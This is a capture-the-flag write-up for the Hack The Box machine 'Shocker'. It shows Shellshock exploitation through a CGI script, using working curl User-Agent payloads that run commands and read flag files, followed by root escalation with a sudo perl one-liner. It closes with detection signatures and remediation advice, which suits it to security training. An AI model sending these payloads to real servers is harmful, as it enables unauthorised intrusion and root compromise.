Skip to content
Back to all posts

HTB: Shocker

· 15 min easy Linux Shocker

A CGI bash script on Apache 2.4.18 is vulnerable to Shellshock (CVE-2014-6271), yielding RCE via a crafted User-Agent header. A sudo NOPASSWD entry for Perl completes the path to root. The real challenge is handling stdout pollution in CGI context.

Overview

Shocker is a Shellshock box. The name, the page title (“Don’t Bug Me!”), and the bug.jpg image dated September 2014 (the month CVE-2014-6271 was disclosed) all converge on the same vulnerability. A bash CGI script at /cgi-bin/user.sh runs under Apache 2.4.18, making it a textbook Shellshock target.

The exploitation is straightforward in theory but has a practical wrinkle: stdout pollution. Injected commands that write to stdout before Apache expects CGI headers produce HTTP 500 errors. The solution is command substitution inside a printf that generates a valid CGI response. This CGI-specific constraint is rarely discussed in Shellshock tutorials but is essential knowledge for real-world exploitation.

After obtaining a shell as shelly, sudo -l reveals a NOPASSWD entry for /usr/bin/perl, which is a direct root escalation via GTFOBins.

Reconnaissance

I start with a service-version scan:

nmap -sC -sV -oA scans/shocker 10.129.15.18
PortServiceProduct / VersionNotes
80HTTPApache httpd 2.4.18 (Ubuntu)“Don’t Bug Me!” page
2222SSHOpenSSH 7.2p2 Ubuntu 4ubuntu2.2Non-standard SSH port

Port 80 serves a static page with a single JPEG image. The image metadata shows a September 2014 creation date. Shellshock was publicly disclosed on 24 September 2014. Three independent hints (box name, page title, image date) point to the same CVE.

Attack Surface Analysis

CGI directory discovery

Apache returns 403 Forbidden for /cgi-bin/, confirming the directory exists. I fuzz for scripts:

feroxbuster -u http://10.129.15.18/cgi-bin/ \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -x sh,pl,cgi,py
200 GET /cgi-bin/user.sh

Fetching user.sh returns plain text output from the uptime command:

Content-Type: text/plain

12:34:01 up 1:23, 0 users, load average: 0.00, 0.00, 0.00

A bash script running uptime under Apache CGI. This is the exact attack surface for Shellshock.

AttributeValue
CVECVE-2014-6271
CVSS v39.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWECWE-78 (OS Command Injection)
Root causeBash processes trailing commands after function definitions in environment variables
AffectedBash versions before 4.3 patch 25
Fixed inBash 4.3 patch 25
MITRE ATT&CKT1190 (Exploit Public-Facing Application)

Vulnerability Analysis

Bash versions before 4.3 patch 25 have a flaw in how they process environment variables. When bash starts, it imports environment variables. If a variable’s value begins with () {, bash interprets it as a function definition. The bug: bash continues executing any commands that follow the function body’s closing brace.

In CGI environments, Apache maps HTTP headers to environment variables. The User-Agent header becomes HTTP_USER_AGENT. A crafted header of the form () { :;}; <command> causes bash to execute <command> during variable import, before the CGI script itself runs.

The CGI-specific complication is stdout pollution. The CGI protocol requires the script to output HTTP headers (Content-Type: text/plain\r\n\r\n) before any body content. If the injected command writes to stdout before these headers, Apache returns HTTP 500. Commands that produce no output (like true) return 200, confirming code execution.

The solution: use printf to generate a complete valid CGI response, with command substitution $(cmd) to embed execution results in the response body. The substitution executes before printf processes its arguments, so the command runs and its output is captured cleanly.

Exploitation

Confirming Shellshock

A silent command confirms execution without triggering the stdout issue:

curl -s -o /dev/null -w "%{http_code}" \
  -H 'User-Agent: () { :;}; /bin/true' \
  http://10.129.15.18/cgi-bin/user.sh
# 200

RCE via command substitution

The PATH is stripped in the Shellshock execution context. Every command needs either an absolute path or an explicit PATH= prefix:

curl -s -H 'User-Agent: () { :;}; printf "Content-Type: text/plain\r\n\r\n$(PATH=/usr/bin:/bin id)\r\n"' \
  http://10.129.15.18/cgi-bin/user.sh
uid=1000(shelly) gid=1000(shelly) groups=1000(shelly),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)

The CGI process runs as shelly (uid=1000), not www-data. This gives direct access to the user’s home directory.

User flag

curl -s -H 'User-Agent: () { :;}; printf "Content-Type: text/plain\r\n\r\n$(PATH=/usr/bin:/bin cat /home/shelly/user.txt)\r\n"' \
  http://10.129.15.18/cgi-bin/user.sh
# [redacted]

Privilege escalation via sudo perl

Enumerating sudo privileges through the Shellshock channel:

curl -s -H 'User-Agent: () { :;}; printf "Content-Type: text/plain\r\n\r\n$(PATH=/usr/bin:/bin sudo -l)\r\n"' \
  http://10.129.15.18/cgi-bin/user.sh
User shelly may run the following commands on Shocker:
    (root) NOPASSWD: /usr/bin/perl

Perl with NOPASSWD sudo is unrestricted root access. GTFOBins documents this directly:

curl -s -H 'User-Agent: () { :;}; printf "Content-Type: text/plain\r\n\r\n$(PATH=/usr/bin:/bin sudo perl -e '"'"'print \`cat /root/root.txt\`'"'"')\r\n"' \
  http://10.129.15.18/cgi-bin/user.sh
# [redacted]

For an interactive root shell (via SSH as shelly):

sudo perl -e 'exec "/bin/bash"'

Post-Exploitation

uname -a
# Linux Shocker 4.4.0-96-generic #119-Ubuntu SMP x86_64 GNU/Linux

cat /etc/lsb-release
# DISTRIB_DESCRIPTION="Ubuntu 16.04.3 LTS"

All outbound ports except 80 and 2222 are firewalled. Reverse shells on arbitrary listener ports fail silently. This egress filtering was the only defensive control that worked on this box, and it forced the use of in-band exfiltration rather than a callback shell.

Defensive Analysis

Detection opportunities

PhaseMITRE ATT&CKDetection
Initial accessT1190WAF or IDS signature for () { pattern in HTTP headers
ExecutionT1059.004Process monitoring: bash spawned by Apache with environment injection
Privilege esc.T1548.003Sudo audit logs: shelly running /usr/bin/perl as root

Network-level: Shellshock payloads are trivially detectable by IDS rules matching () { in HTTP request headers. Snort SID 31975-31978 cover the major variants. Any modern WAF (ModSecurity, Cloudflare, AWS WAF) blocks Shellshock by default.

Host-level: The CGI process spawning arbitrary commands produces an anomalous process tree. Apache -> bash -> (injected command) is not a normal execution pattern. Process monitoring tools would flag this.

Sudo auditing: Every sudo invocation is logged to /var/log/auth.log. A non-root user running /usr/bin/perl as root should trigger an alert in any environment with centralised log analysis.

Remediation

PriorityActionEffortImpact
P0Upgrade bash to 4.3 patch 25 or laterLowCritical
P0Remove NOPASSWD sudo entry for /usr/bin/perlLowCritical
P1Remove or restrict /cgi-bin/user.shLowHigh
P1Replace bash CGI scripts with a minimal POSIX shellLowHigh
P2Deploy a WAF with Shellshock signaturesMediumMedium
P2Maintain egress filtering (already in place)LowMedium
P3Audit all sudo NOPASSWD entries for interpretersLowMedium

The sudo entry is the more dangerous finding from a defensive perspective. Shellshock requires a specific, patchable vulnerability. But a NOPASSWD sudo entry for any interpreter (perl, python, ruby, lua, node, php) is equivalent to unrestricted root access, and it persists regardless of patch level. Sudo audits should flag any interpreter in a NOPASSWD entry as a critical finding.

Key Takeaways

  1. Thematic clues compound. Box name (Shocker), page title (Don’t Bug Me!), and image date (September 2014) all pointed to the same CVE. When multiple independent hints converge, treat it as high-confidence signal.

  2. stdout pollution is a CGI-specific constraint. Commands that write to stdout before CGI headers are emitted produce HTTP 500. The solution is printf with $() substitution: the command executes inside the substitution, and its output is embedded in a valid HTTP response. This technique applies to any CGI-based command injection, not just Shellshock.

  3. PATH is stripped in Shellshock context. The inherited environment does not include /usr/bin or /bin in PATH. Every command needs either an absolute path or an explicit PATH= prefix.

  4. When all outbound ports are filtered, use in-band exfiltration. Two approaches: write output to a web-accessible path, or embed it in the HTTP response via command substitution. The substitution approach is cleaner and leaves no filesystem artefacts.